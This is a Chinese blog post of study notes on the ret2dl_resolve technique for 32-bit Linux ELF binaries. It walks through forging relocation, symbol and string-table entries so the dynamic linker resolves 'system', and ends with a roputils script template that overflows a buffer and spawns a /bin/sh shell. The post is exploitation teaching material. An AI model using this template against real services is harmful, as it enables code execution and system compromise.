• return to dl_resolve无需leak内存实现利用


    之前在drop看过一篇文章,是西电的Bigtang师傅写的,这里来学习一下姿势做一些笔记。

    0x01 基础知识

    Linux ELF文件存在两个很重要的表,一个是got表(.got.plt)一个是plt表(.plt)。这些存在的原因是ELF文件使用了延迟绑定的技术。当我们调用一个函数时,如果这是第一次调用,会动用plt中的寻找函数找出这个函数的虚拟地址,然后写入到got表中,之后第二次第三次调用就不需要再查找,直接把got表中的内容取出使用就可以了。

    为了实现这种设计的功能,plt代码中是这样写的

     1 0x8048340 <free@plt>:          jmp    DWORD PTR ds:0x804a00c
     2 0x8048346 <free@plt+6>:        push   0x0
     3 0x804834b <free@plt+11>:       jmp    0x8048330
     4 
     5 0x8048350 <malloc@plt>:        jmp    DWORD PTR ds:0x804a010
     6 0x8048356 <malloc@plt+6>:      push   0x8
     7 0x804835b <malloc@plt+11>:     jmp    0x8048330
     8 
     9 0x8048360 <puts@plt>:          jmp    DWORD PTR ds:0x804a014
    10 0x8048366 <puts@plt+6>:        push   0x10
    11 0x8048366 <puts@plt+11>:       jmp    0x8048330
    0x804a00c、0x804a010、0x804a014是free、malloc、puts对应的got表地址。plt代码首先会取出got表中的值,然后做一个跳转,如果是第一次调用函数,那么got表中的值是指向plt第二句的,比如0x804a00c的值就是0x8048346。
    plt的第二句会压入序号,因为free是got表中第一项,所以是push 0x0。而malloc是表中第二项,所以是push 0x8。之后跳入0x8048330。

    0x8048330处的代码如下所示
    0x8048330:    push   DWORD PTR ds:0x804a004
    0x8048336:    jmp    DWORD PTR ds:0x804a008

    0x804a000是got表的起始地址。+8处保存着查找函数,这里跳转到查找函数。

    ELF文件的节区如下所示(使用readelf -S ./tst)

    vb@unun:~/桌面/double free$ readelf -S ./tst
    共有 31 个节头,从偏移量 0x1844 开始:
    
    节头:
      [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
      [ 0]                   NULL            00000000 000000 000000 00      0   0  0
      [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
      [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
      [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
      [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4
      [ 5] .dynsym           DYNSYM          080481cc 0001cc 000070 10   A  6   1  4
      [ 6] .dynstr           STRTAB          0804823c 00023c 00006a 00   A  0   0  1
      [ 7] .gnu.version      VERSYM          080482a6 0002a6 00000e 02   A  5   0  2
      [ 8] .gnu.version_r    VERNEED         080482b4 0002b4 000030 00   A  6   1  4
      [ 9] .rel.dyn          REL             080482e4 0002e4 000008 08   A  5   0  4
      [10] .rel.plt          REL             080482ec 0002ec 000020 08  AI  5  24  4
      [11] .init             PROGBITS        0804830c 00030c 000023 00  AX  0   0  4
      [12] .plt              PROGBITS        08048330 000330 000050 04  AX  0   0 16
      [13] .plt.got          PROGBITS        08048380 000380 000008 00  AX  0   0  8
      [14] .text             PROGBITS        08048390 000390 0001e2 00  AX  0   0 16
      [15] .fini             PROGBITS        08048574 000574 000014 00  AX  0   0  4
      [16] .rodata           PROGBITS        08048588 000588 000011 00   A  0   0  4
      [17] .eh_frame_hdr     PROGBITS        0804859c 00059c 00002c 00   A  0   0  4
      [18] .eh_frame         PROGBITS        080485c8 0005c8 0000cc 00   A  0   0  4
      [19] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
      [20] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
      [21] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
      [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
      [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
      [24] .got.plt          PROGBITS        0804a000 001000 00001c 04  WA  0   0  4
      [25] .data             PROGBITS        0804a01c 00101c 000008 00  WA  0   0  4
      [26] .bss              NOBITS          0804a040 001024 000084 00  WA  0   0 32
      [27] .comment          PROGBITS        00000000 001024 000034 01  MS  0   0  1
      [28] .shstrtab         STRTAB          00000000 001739 00010a 00      0   0  1
      [29] .symtab           SYMTAB          00000000 001058 000480 10     30  47  4
      [30] .strtab           STRTAB          00000000 0014d8 000261 00      0   0  1
    Key to Flags:
      W (write), A (alloc), X (execute), M (merge), S (strings)
      I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
      O (extra OS processing required) o (OS specific), p (processor specific)

     

    0x02 如何利用

    查找函数的查找过程

    index_arg(push xx)——>.rel.plt(Elf32_Rel)——>.dynsym(Elf32_Sym)——>.dynstr(st_name)

    事实上,虚拟地址是通过最后一个箭头,即从st_name得来的,只要我们能够修改这个st_name就可以执行任意函数。比如把st_name的内容修改成为"system"。

    而index_arg是我们控制的,我们需要做的是通过一系列操作。把index_arg可控转化为st_name可控。

     那么我们要实现控制就要解决一下的几个问题:

    1.怎么计算index_arg才能控制.rel.plt(Elf32_Rel)值?

    index_arg是我们直接通过压栈参数进行控制的,使用要伪造的目标地址减去.rel.plt段基地址就是index_arg的值。其中.rel.plt段使用IDA是不能看到的,所以这里要使用objdump -s -j .rel.plt ./tst命令来查看。

    vb@unun:~/桌面$ objdump -s -j .rel.plt ./tst
    
    ./tst:     文件格式 elf32-i386
    
    Contents of section .rel.plt:
     80482ec 0ca00408 07010000 10a00408 07020000  ................
     80482fc 14a00408 07030000 18a00408 07050000  ................

    由于我的目标地址处于bss段上的0x804A06,所以就需要进行如下的运算:

    0x804A060-0x80482ec=7540,那么我们的index_arg的值就应该是7540,以指向.rel.plt

    2.怎么构造.rel.plt(Elf32_Rel)才能控制.dynsym(Elf32_Sym)值?

    当.rel.plt(Elf32_Rel)域落到可控区域之后要考虑的就是如何构造这个的值。

    使用readelf -r命令可以看到这些reloc项,其中处于.rel.plt的用于函数重定位也正是我们的目标。

    vb@unun:~/桌面$ readelf -r tst
    
    重定位节 '.rel.dyn' 位于偏移量 0x2e4 含有 1 个条目:
     偏移量     信息    类型              符号值      符号名称
    08049ffc  00000406 R_386_GLOB_DAT    00000000   __gmon_start__
    
    重定位节 '.rel.plt' 位于偏移量 0x2ec 含有 4 个条目:
     偏移量     信息    类型              符号值      符号名称
    0804a00c  00000107 R_386_JUMP_SLOT   00000000   gets@GLIBC_2.0
    0804a010  00000207 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
    0804a014  00000307 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
    0804a018  00000507 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

    可以看出.rel.plt中的值满足如下Elf32_Rel结构

    typedef struct {
        Elf32_Addr r_offset;    // 这个值就是got表的虚拟地址
        Elf32_Word r_info;      // .dynsym节区符号表索引(下标为r_info>>8)
    } Elf32_Rel;

    其中第一项是对应的got表的地址。第二项经过>>8运算后是.dynsym节区的索引下标值,我们要控制的就是这一项。

    r_info的计算方法是

    1.n=(欲伪造的地址-.dynsym基地址)/0x10

    2.r_info=n<<8

    dynsym基地址使用objdump -s -j .dynsym ./tst来获取。

    3.怎么构造.dynsym(Elf32_Sym)才能实现控制.dynstr(st_name)值?

    typedef struct
    {
        Elf32_Word    st_name;   /* Symbol name (string tbl index) 这个就是*/
        Elf32_Addr    st_value;  /* Symbol value */
        Elf32_Word    st_size;   /* Symbol size */
        unsigned char st_info;   /* Symbol type and binding */
        unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
        Elf32_Section st_shndx;  /* Section index */
    } Elf32_Sym;

    .dynsym节区包含了动态链接符号表,符号表由Elf32_Sym结构表示。具体情况如上所示。其中第一项就是其对应的st_name到.dynstr节起始的偏移值。我们要把偏移值指向我们的可控区域,就能实现控制st_name

    .dynstr的基地址由objdump -s -j .dynstr ./tst来获得。

    3. .dynstr写入system完成利用

    .dynstr节包含了动态链接的字符,字符串是直接以ASCII码的形式储存的。所以在指针指向的地方直接写入ASCII形式的system即可达成利用!

     

    0x03 现成的脚本模版

    来自Github

    from roputils import *
    
    fpath = sys.argv[1]
    offset = int(sys.argv[2])
    
    rop = ROP(fpath)
    addr_bss = rop.section('.bss')
    
    buf = rop.retfill(offset)
    buf += rop.call('read', 0, addr_bss, 100)
    buf += rop.dl_resolve_call(addr_bss+20, addr_bss)
    
    p = Proc(rop.fpath)
    p.write(p32(len(buf)) + buf)
    print "[+] read: %r" % p.read(len(buf))
    
    buf = rop.string('/bin/sh')
    buf += rop.fill(20, buf)
    buf += rop.dl_resolve_data(addr_bss+20, 'system')
    buf += rop.fill(100, buf)
    
    p.write(buf)
    p.interact(0)
  • 相关阅读:
    uni-app 小程序实现scroll-view 横向滑动效果的坑
    kafka常用指令
    vue之每个页面设置单独的title,keywords,description等
    mysql定时备份
    zabbix-mysql备份脚本
    第十五课:企业案例-kubernetes高可用集群架构设计
    第十四课:企业案例-微服务实现业务架构
    第十三课:微服务基本知识-微服务调用及运行过程
    第十二课:微服务基本知识-微服务组件
    第十一课:微服务基本知识-微服务架构与框架介绍
  • 原文地址:https://www.cnblogs.com/Ox9A82/p/5487275.html
Copyright © 2020-2023  润新知